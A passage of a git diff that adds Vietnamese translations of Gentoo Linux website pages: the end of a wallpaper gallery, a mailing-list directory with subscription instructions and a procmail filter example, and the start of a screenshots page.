+    bởi <uri link="http://forums.gentoo.org/viewtopic-t-7763-start-50.html">Szabó Bence</uri>
+  </ti>
+  <ti/>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Hình nền Gentoo Linux</title>
+<section>
+<body>
+
+<p>
+<b>Hãy đóng dấu nhãn hiệu Gentoo trên desktop của bạn bằng một hình
+nền Gentoo và cho bạn của bạn biết bạn dùng Gentoo Linux.</b>
+</p>
+
+<p>
+Dùng một trong những <e>Hình nền Gentoo</e> này để làm đẹp desktop của
+bạn. Cho mọi người biết bạn dùng Gentoo Linux.
+</p>
+
+<!--
+  Use 120x90 graphics for display purposes
+-->
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-cycle-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo640x480.jpg">640x680</uri> - 
+    <uri link="/images/backgrounds/gentoo1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/gentoo1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo1600x1200.jpg">1600x1200</uri><br/>
+    bởi <uri link="http://forums.gentoo.org/viewtopic.php?t=6745">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-cycle-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    bởi <uri link="http://forums.gentoo.org/viewtopic.php?t=6868">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-light2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-light2-640x480.jpg">640x480</uri> - 
+    <uri link="/images/backgrounds/gentoo-ice-light2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    bởi <uri link="http://forums.gentoo.org/viewtopic.php?t=7993">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    bởi <uri link="http://forums.gentoo.org/viewtopic.php?t=7672">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-box-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-minimal-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-box-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1600x1200.png">1600x1200</uri>
+    <br/>
+    bởi Luca Martinetti
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-minimal-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    bởi <uri link="http://forums.gentoo.org/viewtopic-t-365758.html">Brian
+    Wigginton</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_1-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_2-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_1-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_1-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_1-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    bởi Tedder Wayne
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_2-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_2-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    bởi Tedder Wayne
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-glass-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-causticswp-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-glass-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-glass-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/gentoo-glass-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    bởi Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-causticswp-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1024x768.jpg">1024x768</uri> - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1280x1024.jpg">1280x1024</uri> - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    bởi Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-water-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_1-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-water-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-water-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    bởi Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-1280x1024.jpg">1280x1024</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    bởi Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/cow-push-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+     <uri link="/images/backgrounds/gentoo-chojindsl_2-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-chojindsl_2-1280x1024.jpg">1280x1024</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    bởi Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/cow-push-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/cow-push-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/cow-push-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/cow-push-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/cow-push-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    bởi <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/cow-push2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/macosx-gentoo-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/cow-push2-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    bởi <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/macosx-gentoo-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    bởi Przemysław Pazik
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-abducted-120x90.png"/>
+  </ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-abducted-800x600.png">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1600x1200.png">1600x1200</uri>
+    <br/>
+    bởi <uri link="http://forums.gentoo.org/viewtopic-t-257123.html">Matteo 'Peach' Pescarin</uri>
+  </ti>
+  <ti></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/vi/lists.xml b/xml/htdocs/main/vi/lists.xml
new file mode 100644
index 00000000..5ac4cd2a
--- /dev/null
+++ b/xml/htdocs/main/vi/lists.xml
@@ -0,0 +1,548 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- Rev: 1.74 -->
+
+<mainpage lang="vi">
+<title>Gentoo Mailing List</title>
+
+<author title="Author">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+  <mail link="cybersystem@gentoo.org">Sascha Schwabbauer</mail>
+  <mail link="lcars@gentoo.org">Andrea Barisani</mail>
+</author>
+
+<abstract>
+Các mailing list công khai của Gentoo
+</abstract>
+
+<version>3.3</version>
+<date>2005-10-02</date>
+
+<chapter>
+<title>Tổng quan Mailing List</title>
+<section>
+<body>
+
+<p>
+Dự án Phần mềm Tự do Gentoo có một số mailing list công khai, bao gồm
+các dự án con khác nhau của Gentoo. Các mailing list của chúng tôi
+được quản lý bởi
+<uri link="http://mlmmj.mmj.dk">mlmmj</uri> và cung cấp mail header
+<c>List-Id:</c> và tiếp đầu ngữ <c>[listname]</c> trong phần chủ đề
+mail để tương thích với các chuẩn quản lý mailing list hiện đại.
+</p>
+
+<p>
+Bạn có thể tương tác với <c>mlmmj</c> qua email. Để đăng ký vào một
+mailing list, hãy gửi một thư rỗng đến:
+</p>
+
+<p><c>listname+subscribe@gentoo.org</c></p>
+
+<note>
+Thay 'listname' bằng tên thật của mailing list bạn muốn đăng ký.
+</note>
+
+<p>Khi đã đăng ký, bạn có thể gửi email đến:</p>
+<p><c>listname@gentoo.org</c></p>
+<p>Để huỷ đăng ký, gửi email rỗng đến:</p>
+<p><c>listname+unsubscribe@gentoo.org</c></p>
+
+<p>
+Mọi mailing list của chúng tôi đều có digest list tương ứng (mailing
+list tóm tắt). Digest list sẽ gửi một email cho bạn vài ngày một lần
+thay vì từng thư riêng lẽ. Gửi mail rỗng đến địa chỉ tương ứng sau để
+đăng ký và huỷ đăng ký:
+</p>
+
+<p>
+<c>listname+subscribe-digest@gentoo.org</c><br/>
+<c>listname+unsubscribe-digest@gentoo.org</c>
+</p>
+
+<p>
+Vài người dùng có thể muốn gửi lên list, nhưng không muốn nhận mail
+(ví dụ có thể đọc list thông qua cách khác, như gmane). Những người
+này nên đăng ký tùy chọn "nomail" cho các list tương ứng:
+</p>
+
+<p>
+<c>listname+subscribe-nomail@gentoo.org</c><br/>
+<c>listname+unsubscribe-nomail@gentoo.org</c>
+</p>
+<p>
+Bạn có thể tìm hiểu thêm về khả năng của mlmmj bằng cách gửi mail rỗng
+đến địa chỉ sau:
+</p>
+
+<p>
+<c>listname+help@gentoo.org</c><br/>
+</p>
+
+<p>
+Bạn cũng có thể tìm hiểu thêm về Gentoo mailing list bằng cách đọc
+Gentoo mailing list FAQ ở cuối tài liệu.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Mailing List</title>
+<section>
+<title>Các Gentoo Mailing List chính</title>
+<body>
+
+<table>
+<tr>
+  <th>Tên mailing list</th>
+  <th>Mô tả</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user</c></ti>
+  <ti>Thảo luận và hỗ trợ người dùng Gentoo nói chung</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-announce</c></ti>
+  <ti>Thông báo Gentoo (các phiên bản mới, sửa lỗi bảo mật)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev</c></ti>
+  <ti>Thảo luận của Gentoo developer</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-security</c></ti>
+  <ti>Thảo luận về an ninh và cách sửa lỗi</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn</c></ti>
+  <ti>Bản tin hàng tuần Gentoo (Gentoo Weekly Newsletter)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc</c></ti>
+  <ti>Đóng góp tài liệu, đề nghị, cải tiến, dịch thuật</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-cvs</c></ti>
+  <ti>Đăng ký list này nếu bạn muốn được thông báo về các thy đổi liên
+  quan đến tài liệu</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-translators</c></ti>
+  <ti>Thảo luận các vấn đề dịch thuật</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-user</c></ti>
+  <ti>Thảo luận và hỗ trợ người dùng Gentoo Linux/PowerPC</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-dev</c></ti>
+  <ti>Thảo luận của Gentoo Linux/PowerPC developer</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alpha</c></ti>
+  <ti>Thảo luận và hỗ trợ người dùng Gentoo Linux/Alpha</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-amd64</c></ti>
+  <ti>Thảo luận và hỗ trợ người dùng Gentoo Linux/AMD64</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-arm</c></ti>
+  <ti>Thảo luận về Gentoo trên kiến trúc ARM</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hppa</c></ti>
+  <ti>Thảo luận về Gentoo trên kiến trúc HPPA</ti>
+</tr>	
+<tr>
+  <ti><c>gentoo-ia64</c></ti>
+  <ti>Thảo luận và hỗ trợ người dùng Gentoo Linux/ia64</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mips</c></ti>
+  <ti>Thảo luận về Gentoo trên kiến trúc MIPS</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-sparc</c></ti>
+  <ti>Thảo luận và hỗ trợ người dùng Gentoo Linux/Sparc</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-osx</c></ti>
+  <ti>Thảo luận về Gentoo OSX (người dùng và developer)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-bsd</c></ti>
+  <ti>Thảo luận về Gentoo/BSD</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-xbox</c></ti>
+  <ti>Thảo luận về Gentoo cho Xbox</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cygwin</c></ti>
+  <ti>Thảo luận và hỗ trợ người dùng Gentoo cygwin</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alt</c></ti>
+  <ti>Thảo luận về <uri link="/proj/en/gentoo-alt/">Gentoo on Alternate Platforms Project</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-kernel</c></ti>
+  <ti>Thông báo phiên bản mới của gentoo-sources, vesafb-tng, fbsplash
+  và thảo luận</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-laptop</c></ti>
+  <ti>Thảo luận về tiết kiệm năng lượng, pcmcia và những vấn đề liên
+  quan đến laptop khác</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop</c></ti>
+  <ti>Thảo luận về Gentoo trên desktop</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop-research</c></ti>
+  <ti>Thảo luận cải tiến sử dụng Gentoo desktop</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-performance</c></ti>
+  <ti>Thảo luận cải tiến hiệu năng của Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hardened</c></ti>
+  <ti>Phiên bản an ninh của Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-portage-dev</c></ti>
+  <ti>Thảo luận về các vấn đề bên trong của Portage và phát triển
+  Portage</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-catalyst</c></ti>
+  <ti>Dành cho catalyst</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-server</c></ti>
+  <ti>Thảo luận về Gentoo trong môi trường kinh doanh sản xuất</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-admin</c></ti>
+  <ti>Thảo luận về quản trị Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cluster</c></ti>
+  <ti>Thảo luận về Gentoo trong môi trường cluster</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-web-user</c></ti>
+  <ti>Thảo luận về cấu hình Web và công tác quản trị liên quan đến các
+  công cụ web</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-embedded</c></ti>
+  <ti>Thảo luận Gentoo Linux/embedded cho người dùng và người phát
+  triển</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-releng</c></ti>
+  <ti>Dành cho đội quản lý phát hành Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pr</c></ti>
+  <ti>Thảo luận các vấn đề liên quan đến quan hệ công cộng (PR) của
+  Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-qa</c></ti>
+  <ti>Thảo luận về QA (kiểm tra chất lượng) và cách cải tiến trong
+  Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devrel</c></ti>
+  <ti>Dành cho Đội Gentoo Developer Relations</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-council</c></ti>
+  <ti>Hội đồng Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mirrors</c></ti>
+  <ti>Thông báo và thảo luận giữa các quản trị Gentoo mirro và
+  developer về phát hành và các vấn đề khác</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-lang</c></ti>
+  <ti>Thảo luận về hỗ trợ ngôn ngữ lập trình và các vấn đề liên quan
+  trong Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-perl</c></ti>
+  <ti>Thảo luận về perl trong Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-java</c></ti>
+  <ti>Thảo luận về Java trong Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-science</c></ti>
+  <ti>Thảo luận về các ứng dụng khoa học và việc tích hợp vào Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-media</c></ti>
+  <ti>Thảo luận về các gói Gentoo media</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gnustep</c></ti>
+  <ti>Thảo luận về GNUstep trong Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-installer</c></ti>
+  <ti>Thảo luận <uri link="/proj/en/releng/installer/">Gentoo Linux Installer Project</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-accessibility</c></ti>
+  <ti>Thảo luận <uri link="/proj/en/desktop/accessibility/">Gentoo Accessibility Project</uri></ti>
+</tr>
+<tr>
+  <ti><c>tenshi-announce</c></ti>
+  <ti>Thông báo dự án <uri link="/proj/en/infrastructure/tenshi/">Tenshi</uri></ti>
+</tr>
+<tr>
+  <ti><c>tenshi-user</c></ti>
+  <ti>Thảo luận về dự án <uri link="/proj/en/infrastructure/tenshi/">Tenshi</uri></ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Mailing list không dùng tiếng Anh</title>
+<body>
+
+<table>
+<tr>
+  <th>Tên mailing list</th>
+  <th>Mô tả</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user-de</c></ti>
+  <ti>deutschsprachige Gentoo User Diskussionsliste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-br</c></ti>
+  <ti>Brazilian Gentoo User Mailing List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-es</c></ti>
+  <ti>Lista para la ayuda y discusion de usuarios hispano-hablantes de Gentoo</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-fr</c></ti>
+  <ti>French Gentoo User Mailing List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-hu</c></ti>
+  <ti>Hungarian Gentoo User Mailing List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-id</c></ti>
+  <ti>Indonesian Gentoo User Mailing List</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-kr</c></ti>
+  <ti>Korean Gentoo User Mailing List</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-pl</c></ti>
+  <ti>Polish Gentoo User Mailing List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-cs</c></ti>
+  <ti>Czech and Slovak Gentoo User Mailing List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-ru</c></ti>
+  <ti>Russian Gentoo User Mailing List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-de</c></ti>
+  <ti>German Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-es</c></ti>
+  <ti>Spanish Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-nl</c></ti>
+  <ti>Dutch Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-pl</c></ti>
+  <ti>Polish Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-de</c></ti>
+  <ti>German Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-el</c></ti>
+  <ti>Greek Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-es</c></ti>
+  <ti>
+    Lista de correo dedicada a la traduccion y creacion de documentacion en
+    Espanol de Gentoo
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fi</c></ti>
+  <ti>Finnish Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fr</c></ti>
+  <ti>French Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-id</c></ti>
+  <ti>Indonesian Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-docs-it</c></ti>
+  <ti>Italian Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-nl</c></ti>
+  <ti>Dutch Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-pl</c></ti>
+  <ti>Polish Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-ru</c></ti>
+  <ti>Russian Gentoo Documentation Translation List</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Các Mailing List khác</title>
+<body>
+
+<table>
+<tr>
+  <th>Tên mailing list</th>
+  <th>Mô tả</th>
+</tr>
+<tr>
+  <ti><c>libconf</c></ti>
+  <ti>Thảo luận phát triển libconf</ti>
+</tr>
+<tr>
+  <ti><c>bug-wranglers</c></ti>
+  <ti>
+    Mailing list dành riêng cho Gentoo Bug Wrangler. Mailing list này
+    chỉ dành cho người được mời. Nếu bạn muốn tham gia, hãy hoạt động
+    tích cực trên bugzilla và giúp các thành viên dọn dẹp bug. Bạn sẽ
+    được chú ý và được mời tham gia bug-wrangler vào thời điểm thích
+    hợp.
+  </ti>
+</tr>
+<tr>
+  <ti><c>www-redesign</c></ti>
+  <ti>Dành cho phát triển trang Web Gentoo mới</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Kho lưu trữ</title>
+<section>
+<body>
+
+<p>
+Chúng tôu từng lưu trữ mail, nhưng cảm thấy nhàm chán. Những địa chỉ
+sau lưu trữ hầu hết các mailing list, vì thấy hãy dùng chúng thay vì
+yêu cầu một kho lưu trữ Gentoo mailing list 'chính thức'. Đây là những
+cái 'chính thức' :).<br/> 
+<uri link="http://news.gmane.org/search.php?match=gentoo">Gmane</uri><br/> 
+<uri link="http://marc.theaimsgroup.com/">MARC: Mailing list ARChives</uri><br/>
+<uri link="http://www.mail-archive.com">Mail-Archive</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Mailing List Mini-FAQ</title>
+<section>
+<title>Tôi đăng ký một mailing list dùng địa chỉ email ở nhà, nhưng
+không thể gửi vào mailing list bằng địa chỉ mail ở công sở. Làm sao
+đây?</title>
+<body>
+
+<p>
+Để tránh spam, mọi list đều được cấu hình chỉ cho phép gửi từ địa chỉ
+email được đăng ký. Tuy nhiên, <c>mlmmj</c> hỗ trợ đăng ký "nomail",
+cho phép bạn đăng ký nhiều địa chỉ khác nhau dùng để gửi lên list. Đây
+là ví dụ cách làm.
+Giả sử bạn đã đăng ký vào <c>gentoo-dev</c> bằng <c>jim@home.com</c>,
+bạn muốn gửi bằng <c>james@work.com</c>. Để làm vậy, hãy gửi một mail
+(bằng <c>james@work.com</c>) đến <c>gentoo-dev+subscribe-nomail@gentoo.org</c> 
+Bạn sẽ được phép gửi lên <c>gentoo-dev</c> bằng cả hai địa chỉ.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Tôi muốn chuyển từ chế độ thông thường sang nhận digest. Làm
+thế nào đây?</title>
+<body>
+
+<p>
+Huỷ đăng ký mailing list thông thường và đăng ký mailing list digest.
+Ví dụ list <c>listname</c>, bạn làm bằng cách gửi mail rỗng đến hai
+địa chỉ sau:
+</p>
+
+<p><c>listname+unsubscribe@gentoo.org</c><br/>
+<c>listname+subscribe-digest@gentoo.org</c>
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Làm thế nào dùng procmail để lọc mailing list?</title>
+<body>
+
+<p>
+Để lọc mail đến từ <c>listname</c>, dùng các quy tắc <c>procmail</c>
+sau:
+</p>
+
+<pre caption="Quy tắc procmail đơn giản">
+:0:
+* ^List-Id:.*listname\.gentoo\.org
+Mail/listname
+</pre>
+
+<p>
+Nó giống y hệt như khi bạn lọc mail đến từ <e>Mailman</e>.
+</p>
+
+</body>
+</section>
+
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/vi/shots.xml b/xml/htdocs/main/vi/shots.xml
new file mode 100644
index 00000000..88c72c52
--- /dev/null
+++ b/xml/htdocs/main/vi/shots.xml
@@ -0,0 +1,198 @@
+<?xml version='1.0'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="shots.xml" lang="vi">
+<title>Ảnh chụp Gentoo Linux</title>
+<author title="Previous Chief Architect">
+	<mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Author">
+	<mail link="svyatogor@gentoo.org">Sergey Kuleshov</mail>
+</author>
+<author title="Translator">
+	<mail link="pclouds@gentoo.org">Nguyễn Thái Ngọc Duy</mail>
+</author>
+
+<!--
+  Method for publishing screenshots:
+  - Remove the bottom screenshot from the page; don't forget removing the images
+    from CVS afterwards as well
+  - Add the new screenshot on top of the page
+
+  We keep the 10 most recent screenshots so that we don't provide outdated
+  screenshots to our users.
+-->
+
+<!-- Rev: 1.31 -->
+<abstract>Ảnh chụp Gentoo Linux đang hoạt động.</abstract>
+
+<version>1.3</version>
